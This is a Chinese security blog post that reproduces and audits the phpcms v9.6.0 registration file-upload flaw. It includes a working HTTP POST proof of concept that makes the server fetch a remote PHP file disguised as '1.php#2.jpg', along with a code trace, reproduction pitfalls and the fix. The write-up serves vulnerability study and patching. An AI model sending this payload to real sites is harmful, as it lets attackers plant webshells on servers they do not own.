freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

phpcms 文件上传复现+审计
0kooohezi 2024-09-26 16:57:05 108077

侵权声明

本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [360619623@qq.com]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。

感谢您的理解与支持

系统介绍

版本

phpcms v9.6.0前

项目地址

phpcms: PHPCMS V9内容管理系统 (gitee.com)

复现环境

win10、小皮、phpcms v9.6.3

poc

POST /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1
Host: demo.com
Content-Length: 279
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://demo.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://demo.com/index.php?m=member&c=index&a=register&siteid=1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie: deviceid=1722062988348; xinhu_ca_rempass=0; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1723172185; csrf_358693=2df7a84f; Hm_lvt_5964cd4b8810fcc73c98618d475213f6=1723680035; http304ok=1; qebak_loginlangid=1; csrf_f2b6b4=adc34ccd; xinhu_ca_adminuser=admin; xinhu_mo_adminid=eg0el0gx0ttm0tut0et0mx0ml0ea0el0tuj0tuj0ee0tua0ew0mg09; admin=Y4W4R2t0a9Wa46O0O0Oa; PHPSESSID=obktdp2l87a7an8i6cd2qbo1j1; PpCzq_admin_username=f5bcSlUpTLCanHNoHqgdUCF0n6zfqX9WoPbKD3TYNWDa_g; PpCzq_siteid=7f00GCKmIjDBqOQtTVWp3dOe2ydf-wioyckbYeTt; PpCzq_userid=c1f5ihINUG-4GA0zSIiCi6wXdzNdhtrutN1MkX9b; PpCzq_admin_email=216brsvz2eMye6NjOcweBjHOLjFbOOrspfGt23_3A_TcWrlE7Q; PpCzq_sys_lang=22fehiz7sUSOM_nEqenF-htYIYlVNNJuK--wBJ65Dm7D2g
Connection: keep-alive

siteid=1&modelid=11&username=admin1&password=123456&pwdconfirm=123456&email=2%40qq.com&nickname=ab&info%5Bcontent%5D=href=http://存放文件设备的公网:8001/1.php#2.jpg&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=

分析

我的分析只是思考为什么是这样一个poc和其中需要注意什么细节

1、首先找到文件注册的register()函数

首先看到getcache()函数,这个函数是获取modelid模块中可以使用哪些函数

image

2、跟进getcache()函数

image

继续跟进git()函数

image

其中filename是模块内容的存放名字,filepath是存放位置。其中的内容如下

image

3、回到register()函数,继续更进$user_model_info = $member_input->get($_POST['info']);其中的get()函数

image

可以看到fields是模块内容,通过$this->fields[$field]['formtype'];获取了函数名。在后面的一句话中组成为editor($field, $value)其中的field="content"并且value=需上传文件的存放位置

4、继续更进editor()函数,其实editor()函数就在get()函数下

image

其中的value和传入进来的值是一样的

5、跟进download()函数

image

其中的fillurl()函数会将输入进来的地址中的#去除,其中参数matche就是地址,跟进fillurl()

image

这个函数后续还判断了是什么样的文件协议后,就返回了。继续回到download()函数

image

后续就是将文件和目录创建完成后,通过$upload_func($file, $newfile)将远程文件保存到本地。其中upload_func=copynewfile=本地保存的地址file=远程文件的地址

6、继续回到register()函数

image

跟进insert()函数

image

继续跟进insert()函数

image

因为content这个字段,是更改过的,再v9_member_detail表中不存在这个字段,所以导致强行sql报错,直接就将文件路径报出来了

复现

1、找到会员注册的位置并输入基本信息,进行注册

image

2、抓取刚刚的注册数据包,并修改如下参数分别将

modelid=11
info%5Bcontent%5D=href=http://存放文件的目标机/1.php#2.jpg

image

3、发送就会报错出文件存放路径

image

4、访问并运用

image

注意事项

事项一

1、每一个用户名只能用一次,如果你在调试是通同一用户名发起一次以上的请求是无法报出文件名的

原因:

在红框中的这条语句是将用户的信息保存到数据库中,如果用户名重复就不会执行后面的,而是直接在这里报错。

image

事项二

2、在注册会员时需要在phpsso模块处登录,不然无法注册成功。其中账号密码就是后台登录的账号密码。

image

原因:

在原因这红框中的ps_member_register() -> _ps_send()函数中的一个请求

image

跟进ps_member_register() -> _ps_send()

发现out参数中的请求行为/phpsso_server/index.php?m=phpsso&c=index&a=register而其中的phpsso_server目录需要再次登录才能访问。

image

如果不再次登录,回显数据框中的data数据是报错信息并在后续的返回数据赋值框中将数据赋值给return_arr数组再然后将其中的第二人个数据赋值给return参数。然而data参数此时的第二行是空的,所以return为空。

image

回到register()函数就无法向后执行。

image

事项三

3、存放文件的目标机不能是可以执行php文件的环境(比如靶场中的文件),因为php会被解析,此时下载下来的一句话就是空的文件,而phpinfo()也是目标机的信息。

以上注意事项如果有误请忽略或指出。谢谢给位大佬

修复

其实我复现的版本已经修复了,就是我注释的部分。修复方式也就是在去掉#后再次判断后缀

image

结语

本次复现分析主要是对大佬写的分析文章做出分析poc为什么要这样写,并总结其中碰到的坑。

参考

代码审计 | phpcmsV9.6超详细RCE代审流程 (qq.com)

# 漏洞 # 渗透测试 # web安全
本文为 0kooohezi 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
0kooohezi LV.3
在路上,一直都在路上
  • 5 文章数
  • 2 关注者
禅道命令注入(CVE-2024-24216)复现
2024-11-29
yyladmin(SQL注入(cve-2024-9293)+任意文件上传)复现+审计
2024-09-29
eladmin (文件上传+文件删除)(cve-2024-7458)
2024-09-01
文章目录